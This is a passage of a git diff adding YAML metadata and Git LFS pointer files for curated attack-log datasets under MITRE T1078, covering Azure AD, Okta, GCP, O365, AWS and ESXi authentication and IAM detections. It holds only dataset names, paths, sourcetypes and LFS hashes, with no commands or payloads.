b/datasets/attack_techniques/T1078.004/azure_runbook_webhook/azure-activity-b3645715-ec71-46d4-a697-867a32f9e6b3.log new file mode 100644 index 000000000..a24d42b3a --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azure_runbook_webhook/azure-activity-b3645715-ec71-46d4-a697-867a32f9e6b3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:61d4e6f7849733a7d0eb238d63f913885b16a4a2dda6ab0ea7d27ed74fee7a2d +size 4045 diff --git a/datasets/attack_techniques/T1078.004/azuread/T1078.004_azuread.yml b/datasets/attack_techniques/T1078.004/azuread/T1078.004_azuread.yml new file mode 100644 index 000000000..faf0f2bb1 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azuread/T1078.004_azuread.yml @@ -0,0 +1,13 @@ +author: STRT +id: 09568d9c-552f-4a0f-96e2-535507b5b04a +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Successful Single-Factor + Authentication +environment: attack_range +directory: azuread +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1078.004/azuread/azure-audit-09568d9c-552f-4a0f-96e2-535507b5b04a.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1078.004/azuread/azure-audit-09568d9c-552f-4a0f-96e2-535507b5b04a.log b/datasets/attack_techniques/T1078.004/azuread/azure-audit-09568d9c-552f-4a0f-96e2-535507b5b04a.log new file mode 100644 index 000000000..00a1b3636 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azuread/azure-audit-09568d9c-552f-4a0f-96e2-535507b5b04a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ff4d058c040d14bf97f22959a5b8d1f1ca330fc797a6afd6c3c2776166f302bd +size 7386 diff --git a/datasets/attack_techniques/T1078.004/azuread_pws/T1078.004_azuread_pws.yml b/datasets/attack_techniques/T1078.004/azuread_pws/T1078.004_azuread_pws.yml new file mode 100644 index 000000000..7fd4b22b5 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azuread_pws/T1078.004_azuread_pws.yml @@ -0,0 +1,13 @@ +author: STRT +id: 067b0907-209b-41b2-a978-c0907f2c4dd3 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Successful PowerShell + Authentication +environment: attack_range +directory: azuread_pws +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1078.004/azuread_pws/azure-audit-067b0907-209b-41b2-a978-c0907f2c4dd3.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1078.004/azuread_pws/azure-audit-067b0907-209b-41b2-a978-c0907f2c4dd3.log b/datasets/attack_techniques/T1078.004/azuread_pws/azure-audit-067b0907-209b-41b2-a978-c0907f2c4dd3.log new file mode 100644 index 000000000..c642b0c07 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/azuread_pws/azure-audit-067b0907-209b-41b2-a978-c0907f2c4dd3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:749d1f8a2189513aeb468ae38be7dfdffb13c1b99326c27de88102a8ce4eda9d +size 20510 diff --git a/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/T1078.004_gcp_single_factor_auth.yml b/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/T1078.004_gcp_single_factor_auth.yml new file mode 100644 index 000000000..540802f4b --- /dev/null +++ b/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/T1078.004_gcp_single_factor_auth.yml @@ -0,0 +1,13 @@ +author: STRT +id: d1c1cf32-7af8-4adb-b231-cc2c66d36c7c +date: '2026-07-10' +description: Curated attack data generated for detection GCP Successful Single-Factor + Authentication +environment: attack_range +directory: gcp_single_factor_auth +mitre_technique: [] +datasets: +- name: gws_login + path: /datasets/attack_techniques/T1078.004/gcp_single_factor_auth/gws_login-d1c1cf32-7af8-4adb-b231-cc2c66d36c7c.log + sourcetype: gws:reports:login + source: gws:reports:login diff --git a/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/gws_login-d1c1cf32-7af8-4adb-b231-cc2c66d36c7c.log b/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/gws_login-d1c1cf32-7af8-4adb-b231-cc2c66d36c7c.log new file mode 100644 index 000000000..03a519268 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/gcp_single_factor_auth/gws_login-d1c1cf32-7af8-4adb-b231-cc2c66d36c7c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:904f9822a9bc726d5e3be035c8fc55dd60cc4a6de8b3a0d39f16496d205fdcc6 +size 652 diff --git a/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/T1078.004_o365_security_and_compliance_alert_triggered.yml b/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/T1078.004_o365_security_and_compliance_alert_triggered.yml new file mode 100644 index 000000000..a4b5200e3 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/T1078.004_o365_security_and_compliance_alert_triggered.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2a5f526a-d32f-4903-9dad-4a0a644e5377 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Security And Compliance + Alert Triggered +environment: attack_range +directory: o365_security_and_compliance_alert_triggered +mitre_technique: [] +datasets: +- name: o365_security_and_compliance_alert_triggered + path: /datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/o365_security_and_compliance_alert_triggered-2a5f526a-d32f-4903-9dad-4a0a644e5377.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/o365_security_and_compliance_alert_triggered-2a5f526a-d32f-4903-9dad-4a0a644e5377.log b/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/o365_security_and_compliance_alert_triggered-2a5f526a-d32f-4903-9dad-4a0a644e5377.log new file mode 100644 index 000000000..0cba7adf5 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/o365_security_and_compliance_alert_triggered/o365_security_and_compliance_alert_triggered-2a5f526a-d32f-4903-9dad-4a0a644e5377.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:789e0d91ef7d2ac90f43e221d32cd4169e3395fea77a7b29a5cc78a676ff7bff +size 4431 diff --git a/datasets/attack_techniques/T1078.004/okta_single_factor_auth/T1078.004_okta_single_factor_auth.yml b/datasets/attack_techniques/T1078.004/okta_single_factor_auth/T1078.004_okta_single_factor_auth.yml new file mode 100644 index 000000000..a17fa1e8d --- /dev/null +++ b/datasets/attack_techniques/T1078.004/okta_single_factor_auth/T1078.004_okta_single_factor_auth.yml @@ -0,0 +1,13 @@ +author: STRT +id: aaefac50-7fb4-4a1d-91b1-a7c8c3c5660e +date: '2026-07-13' +description: Curated attack data generated for detection Okta Successful Single Factor + Authentication +environment: attack_range +directory: okta_single_factor_auth +mitre_technique: [] +datasets: +- name: okta_single_factor_auth + path: /datasets/attack_techniques/T1078.004/okta_single_factor_auth/okta_single_factor_auth-aaefac50-7fb4-4a1d-91b1-a7c8c3c5660e.log + sourcetype: OktaIM2:log + source: okta_log diff --git a/datasets/attack_techniques/T1078.004/okta_single_factor_auth/okta_single_factor_auth-aaefac50-7fb4-4a1d-91b1-a7c8c3c5660e.log b/datasets/attack_techniques/T1078.004/okta_single_factor_auth/okta_single_factor_auth-aaefac50-7fb4-4a1d-91b1-a7c8c3c5660e.log new file mode 100644 index 000000000..83d5f142c --- /dev/null +++ b/datasets/attack_techniques/T1078.004/okta_single_factor_auth/okta_single_factor_auth-aaefac50-7fb4-4a1d-91b1-a7c8c3c5660e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d8d8bcf2e3a96e24e650be8eb692dca367e3e98e6f86a3a68803baa66d700d1d +size 4984 diff --git a/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/T1078.004_okta_threatinsight_threat_detected.yml b/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/T1078.004_okta_threatinsight_threat_detected.yml new file mode 100644 index 000000000..71d15d981 --- /dev/null +++ b/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/T1078.004_okta_threatinsight_threat_detected.yml @@ -0,0 +1,13 @@ +author: STRT +id: 033d40cd-0f4c-4e0b-84bf-472c4565e341 +date: '2026-07-13' +description: Curated attack data generated for detection Okta ThreatInsight Threat + Detected +environment: attack_range +directory: okta_threatinsight_threat_detected +mitre_technique: [] +datasets: +- name: okta_threatinsight_threat_detected + path: /datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/okta_threatinsight_threat_detected-033d40cd-0f4c-4e0b-84bf-472c4565e341.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/okta_threatinsight_threat_detected-033d40cd-0f4c-4e0b-84bf-472c4565e341.log b/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/okta_threatinsight_threat_detected-033d40cd-0f4c-4e0b-84bf-472c4565e341.log new file mode 100644 index 000000000..6c890190e --- /dev/null +++ b/datasets/attack_techniques/T1078.004/okta_threatinsight_threat_detected/okta_threatinsight_threat_detected-033d40cd-0f4c-4e0b-84bf-472c4565e341.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5254808eefe30bf36785b8bdc185456ab89724e87d3cb4092f19d75c03a17170 +size 10483 diff --git a/datasets/attack_techniques/T1078/aws_create_policy_version/T1078_aws_create_policy_version.yml b/datasets/attack_techniques/T1078/aws_create_policy_version/T1078_aws_create_policy_version.yml new file mode 100644 index 000000000..9829170c6 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_create_policy_version/T1078_aws_create_policy_version.yml @@ -0,0 +1,17 @@ +author: STRT +id: c51db4dd-8159-43fa-b388-001289402bb2 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Create Policy Version + to allow all resources +environment: attack_range +directory: aws_create_policy_version +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1078/aws_create_policy_version/asl_ocsf_cloudtrail-c51db4dd-8159-43fa-b388-001289402bb2.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1078/aws_create_policy_version/aws_cloudtrail_events-c51db4dd-8159-43fa-b388-001289402bb2.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/aws_create_policy_version/asl_ocsf_cloudtrail-c51db4dd-8159-43fa-b388-001289402bb2.log b/datasets/attack_techniques/T1078/aws_create_policy_version/asl_ocsf_cloudtrail-c51db4dd-8159-43fa-b388-001289402bb2.log new file mode 100644 index 000000000..b8c1f84e7 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_create_policy_version/asl_ocsf_cloudtrail-c51db4dd-8159-43fa-b388-001289402bb2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d68b80ba023d2328e33684e983fbf7ab019deafc749080874dd599bbda704a5e +size 2977 diff --git a/datasets/attack_techniques/T1078/aws_create_policy_version/aws_cloudtrail_events-c51db4dd-8159-43fa-b388-001289402bb2.log b/datasets/attack_techniques/T1078/aws_create_policy_version/aws_cloudtrail_events-c51db4dd-8159-43fa-b388-001289402bb2.log new file mode 100644 index 000000000..576f5b8b2 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_create_policy_version/aws_cloudtrail_events-c51db4dd-8159-43fa-b388-001289402bb2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:87e3e8a5847fee7497aeb810e56fbb2c5aafb5a0da6d03ec303fe699c9d3734b +size 2526 diff --git a/datasets/attack_techniques/T1078/aws_createaccesskey/T1078_aws_createaccesskey.yml b/datasets/attack_techniques/T1078/aws_createaccesskey/T1078_aws_createaccesskey.yml new file mode 100644 index 000000000..f9e8d1246 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_createaccesskey/T1078_aws_createaccesskey.yml @@ -0,0 +1,16 @@ +author: STRT +id: e76d6e60-4d5a-4b88-91f9-a86d84eac7b6 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS Create Access Key +environment: attack_range +directory: aws_createaccesskey +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1078/aws_createaccesskey/asl_ocsf_cloudtrail-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1078/aws_createaccesskey/aws_cloudtrail_events-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/aws_createaccesskey/asl_ocsf_cloudtrail-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log b/datasets/attack_techniques/T1078/aws_createaccesskey/asl_ocsf_cloudtrail-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log new file mode 100644 index 000000000..34add83a1 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_createaccesskey/asl_ocsf_cloudtrail-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:59fa726e33568f3e2896ff6675c034f53f69183e7f05219e28d64498ef028531 +size 2739 diff --git a/datasets/attack_techniques/T1078/aws_createaccesskey/aws_cloudtrail_events-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log b/datasets/attack_techniques/T1078/aws_createaccesskey/aws_cloudtrail_events-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log new file mode 100644 index 000000000..8b8d4e0d6 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_createaccesskey/aws_cloudtrail_events-e76d6e60-4d5a-4b88-91f9-a86d84eac7b6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5343b61777fe94ee3e5082ea37942d94175376497efd85bae9428298b3a2b374 +size 32378 diff --git a/datasets/attack_techniques/T1078/aws_createloginprofile/T1078_aws_createloginprofile.yml b/datasets/attack_techniques/T1078/aws_createloginprofile/T1078_aws_createloginprofile.yml new file mode 100644 index 000000000..86a2dd58c --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_createloginprofile/T1078_aws_createloginprofile.yml @@ -0,0 +1,12 @@ +author: STRT +id: bf07d567-09d2-4f7f-8bba-ec67fc4f932e +date: '2026-07-10' +description: Curated attack data generated for detection AWS CreateLoginProfile +environment: attack_range +directory: aws_createloginprofile +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1078/aws_createloginprofile/aws_cloudtrail_events-bf07d567-09d2-4f7f-8bba-ec67fc4f932e.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/aws_createloginprofile/aws_cloudtrail_events-bf07d567-09d2-4f7f-8bba-ec67fc4f932e.log b/datasets/attack_techniques/T1078/aws_createloginprofile/aws_cloudtrail_events-bf07d567-09d2-4f7f-8bba-ec67fc4f932e.log new file mode 100644 index 000000000..dde31ef5b --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_createloginprofile/aws_cloudtrail_events-bf07d567-09d2-4f7f-8bba-ec67fc4f932e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:67603dc5a607638a44dc8e5b9f629b1f8bc4b06fefc35af7cb60e513945bdb2a +size 2975 diff --git a/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/T1078_aws_setdefaultpolicyversion.yml b/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/T1078_aws_setdefaultpolicyversion.yml new file mode 100644 index 000000000..bf64a4c0d --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/T1078_aws_setdefaultpolicyversion.yml @@ -0,0 +1,12 @@ +author: STRT +id: 9e6f3e50-e2dd-412d-8a3e-84e88c694cfe +date: '2026-07-10' +description: Curated attack data generated for detection AWS SetDefaultPolicyVersion +environment: attack_range +directory: aws_setdefaultpolicyversion +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/aws_cloudtrail_events-9e6f3e50-e2dd-412d-8a3e-84e88c694cfe.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/aws_cloudtrail_events-9e6f3e50-e2dd-412d-8a3e-84e88c694cfe.log b/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/aws_cloudtrail_events-9e6f3e50-e2dd-412d-8a3e-84e88c694cfe.log new file mode 100644 index 000000000..8f96e011d --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_setdefaultpolicyversion/aws_cloudtrail_events-9e6f3e50-e2dd-412d-8a3e-84e88c694cfe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4e6ad89c94cf9b3b680ce8def9a051f022bfd8df11f3fbd4fa620a29b8d81f87 +size 3824 diff --git a/datasets/attack_techniques/T1078/aws_updateloginprofile/T1078_aws_updateloginprofile.yml b/datasets/attack_techniques/T1078/aws_updateloginprofile/T1078_aws_updateloginprofile.yml new file mode 100644 index 000000000..1003ac2d7 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_updateloginprofile/T1078_aws_updateloginprofile.yml @@ -0,0 +1,16 @@ +author: STRT +id: dff6f7b5-49cc-488e-9e6c-eb92caa89a7a +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS UpdateLoginProfile +environment: attack_range +directory: aws_updateloginprofile +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1078/aws_updateloginprofile/asl_ocsf_cloudtrail-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1078/aws_updateloginprofile/aws_cloudtrail_events-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1078/aws_updateloginprofile/asl_ocsf_cloudtrail-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log b/datasets/attack_techniques/T1078/aws_updateloginprofile/asl_ocsf_cloudtrail-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log new file mode 100644 index 000000000..774535e93 --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_updateloginprofile/asl_ocsf_cloudtrail-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:35980ec09a9ab0fb1624ac42d5ac30597d72e9af4689edd7370bab9553b87cf0 +size 2647 diff --git a/datasets/attack_techniques/T1078/aws_updateloginprofile/aws_cloudtrail_events-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log b/datasets/attack_techniques/T1078/aws_updateloginprofile/aws_cloudtrail_events-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log new file mode 100644 index 000000000..6927e7e5b --- /dev/null +++ b/datasets/attack_techniques/T1078/aws_updateloginprofile/aws_cloudtrail_events-dff6f7b5-49cc-488e-9e6c-eb92caa89a7a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e27a5fdc002c0dd62158bafa53273027930143803331122d7437223db0ecca2c +size 1688 diff --git a/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/T1078_azure_ad_multiple_appids_and_useragents_auth.yml b/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/T1078_azure_ad_multiple_appids_and_useragents_auth.yml new file mode 100644 index 000000000..c8d66a362 --- /dev/null +++ b/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/T1078_azure_ad_multiple_appids_and_useragents_auth.yml @@ -0,0 +1,13 @@ +author: STRT +id: 1d044e69-c922-4b97-ba83-fcb398c8430a +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Multiple AppIDs + and UserAgents Authentication Spike +environment: attack_range +directory: azure_ad_multiple_appids_and_useragents_auth +mitre_technique: [] +datasets: +- name: azure_ad_multiple_appids_and_useragents_auth + path: /datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/azure_ad_multiple_appids_and_useragents_auth-1d044e69-c922-4b97-ba83-fcb398c8430a.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/azure_ad_multiple_appids_and_useragents_auth-1d044e69-c922-4b97-ba83-fcb398c8430a.log b/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/azure_ad_multiple_appids_and_useragents_auth-1d044e69-c922-4b97-ba83-fcb398c8430a.log new file mode 100644 index 000000000..8d9b23288 --- /dev/null +++ b/datasets/attack_techniques/T1078/azure_ad_multiple_appids_and_useragents_auth/azure_ad_multiple_appids_and_useragents_auth-1d044e69-c922-4b97-ba83-fcb398c8430a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:08ebeb28ae8a05b1ec3ac932561bf292f449adf37cb121a11047378375dd5aae +size 40239 diff --git a/datasets/attack_techniques/T1078/esxi_external_root_login/T1078_esxi_external_root_login.yml b/datasets/attack_techniques/T1078/esxi_external_root_login/T1078_esxi_external_root_login.yml new file mode 100644 index 000000000..120070b6a --- /dev/null +++ b/datasets/attack_techniques/T1078/esxi_external_root_login/T1078_esxi_external_root_login.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0554f7b1-30ed-478e-a06a-109c00ae8b7e +date: '2026-07-13' +description: Curated attack data generated for detection ESXi External Root Login + Activity +environment: attack_range +directory: esxi_external_root_login +mitre_technique: [] +datasets: +- name: esxi_external_root_login + path: /datasets/attack_techniques/T1078/esxi_external_root_login/esxi_external_root_login-0554f7b1-30ed-478e-a06a-109c00ae8b7e.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1078/esxi_external_root_login/esxi_external_root_login-0554f7b1-30ed-478e-a06a-109c00ae8b7e.log b/datasets/attack_techniques/T1078/esxi_external_root_login/esxi_external_root_login-0554f7b1-30ed-478e-a06a-109c00ae8b7e.log new file mode 100644 index 000000000..75fc5c714 --- /dev/null +++ b/datasets/attack_techniques/T1078/esxi_external_root_login/esxi_external_root_login-0554f7b1-30ed-478e-a06a-109c00ae8b7e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7de4ef3beb6cfbde9199203e84ae42ae431f55b9089b16e2855f0a8ffad7e6fa +size 325 diff --git a/datasets/attack_techniques/T1078/esxi_stolen_root_account/T1078_esxi_stolen_root_account.yml b/datasets/attack_techniques/T1078/esxi_stolen_root_account/T1078_esxi_stolen_root_account.yml new file mode 100644 index 000000000..83e7ea142 --- /dev/null +++ b/datasets/attack_techniques/T1078/esxi_stolen_root_account/T1078_esxi_stolen_root_account.yml @@ -0,0 +1,13 @@ +author: STRT +id: f4515f06-8484-4651-b106-1cac51de3c89 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Shared or Stolen Root + Account +environment: attack_range +directory: esxi_stolen_root_account +mitre_technique: [] +datasets: +- name: esxi_stolen_root_account + path: /datasets/attack_techniques/T1078/esxi_stolen_root_account/esxi_stolen_root_account-f4515f06-8484-4651-b106-1cac51de3c89.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1078/esxi_stolen_root_account/esxi_stolen_root_account-f4515f06-8484-4651-b106-1cac51de3c89.log b/datasets/attack_techniques/T1078/esxi_stolen_root_account/esxi_stolen_root_account-f4515f06-8484-4651-b106-1cac51de3c89.log new file mode 100644 index 000000000..943b00f91 --- /dev/null +++ b/datasets/attack_techniques/T1078/esxi_stolen_root_account/esxi_stolen_root_account-f4515f06-8484-4651-b106-1cac51de3c89.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:33aa474e7837844323386e10cb91791b5b9bde7218240d2f1afed99c625b96b0 +size 6591 diff --git a/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/T1078_o365_multiple_appids_and_useragents_auth.yml b/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/T1078_o365_multiple_appids_and_useragents_auth.yml new file mode 100644 index 000000000..7cd24551c --- /dev/null +++ b/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/T1078_o365_multiple_appids_and_useragents_auth.yml @@ -0,0 +1,13 @@ +author: STRT +id: e0bb1fa4-ee85-4c53-ad83-de3b1fa2e35b +date: '2026-07-10' +description: Curated attack data generated for detection O365 Multiple AppIDs and + UserAgents Authentication Spike +environment: attack_range +directory: o365_multiple_appids_and_useragents_auth +mitre_technique: [] +datasets: +- name: o365_multiple_appids_and_useragents_auth + path: /datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/o365_multiple_appids_and_useragents_auth-e0bb1fa4-ee85-4c53-ad83-de3b1fa2e35b.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/o365_multiple_appids_and_useragents_auth-e0bb1fa4-ee85-4c53-ad83-de3b1fa2e35b.log b/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/o365_multiple_appids_and_useragents_auth-e0bb1fa4-ee85-4c53-ad83-de3b1fa2e35b.log new file mode 100644 index 000000000..9049636aa --- /dev/null +++ b/datasets/attack_techniques/T1078/o365_multiple_appids_and_useragents_auth/o365_multiple_appids_and_useragents_auth-e0bb1fa4-ee85-4c53-ad83-de3b1fa2e35b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b4386510205bffa75e246c1d8e680148824c46af54f7d497ebece486ec5e2570 +size 23998 diff --git a/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/T1078_okta_suspicious_activity_reported_by_user.yml b/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/T1078_okta_suspicious_activity_reported_by_user.yml new file mode 100644 index 000000000..34690c4d8 --- /dev/null +++ b/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/T1078_okta_suspicious_activity_reported_by_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: b8c858c0-bed4-42f4-988a-3248eccfe990 +date: '2026-07-13' +description: Curated attack data generated for detection Okta Suspicious Activity + Reported +environment: attack_range +directory: okta_suspicious_activity_reported_by_user +mitre_technique: [] +datasets: +- name: okta_suspicious_activity_reported_by_user + path: /datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/okta_suspicious_activity_reported_by_user-b8c858c0-bed4-42f4-988a-3248eccfe990.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/okta_suspicious_activity_reported_by_user-b8c858c0-bed4-42f4-988a-3248eccfe990.log b/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/okta_suspicious_activity_reported_by_user-b8c858c0-bed4-42f4-988a-3248eccfe990.log new file mode 100644 index 000000000..1aab0eacb --- /dev/null +++ b/datasets/attack_techniques/T1078/okta_suspicious_activity_reported_by_user/okta_suspicious_activity_reported_by_user-b8c858c0-bed4-42f4-988a-3248eccfe990.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dcea8c3502f10e9444646505458a94f3d9dc6b9172224b4119e2952131fb65a2 +size 3099 diff --git a/datasets/attack_techniques/T1078/snapattack/T1078_snapattack.yml b/datasets/attack_techniques/T1078/snapattack/T1078_snapattack.yml new file mode 100644 index 000000000..de845b3af --- /dev/null +++ b/datasets/attack_techniques/T1078/snapattack/T1078_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: ad5ca995-fd52-4bc7-ac12-4772fbc49381 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Azure PowerShell + Module Installation Via PowerShell Script +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1078/snapattack/snapattack-ad5ca995-fd52-4bc7-ac12-4772fbc49381.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1078/snapattack/snapattack-ad5ca995-fd52-4bc7-ac12-4772fbc49381.log b/datasets/attack_techniques/T1078/snapattack/snapattack-ad5ca995-fd52-4bc7-ac12-4772fbc49381.log new file mode 100644 index 000000000..8ca607506 --- /dev/null +++ b/datasets/attack_techniques/T1078/snapattack/snapattack-ad5ca995-fd52-4bc7-ac12-4772fbc49381.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3bd5e9964d645f5c321e2cb25106d56d1a4f5e76ac124392504cbade71e50699 +size 2170 diff --git a/datasets/attack_techniques/T1078/update_saml_provider/T1078_update_saml_provider.yml b/datasets/attack_techniques/T1078/update_saml_provider/T1078_update_saml_provider.yml new file mode 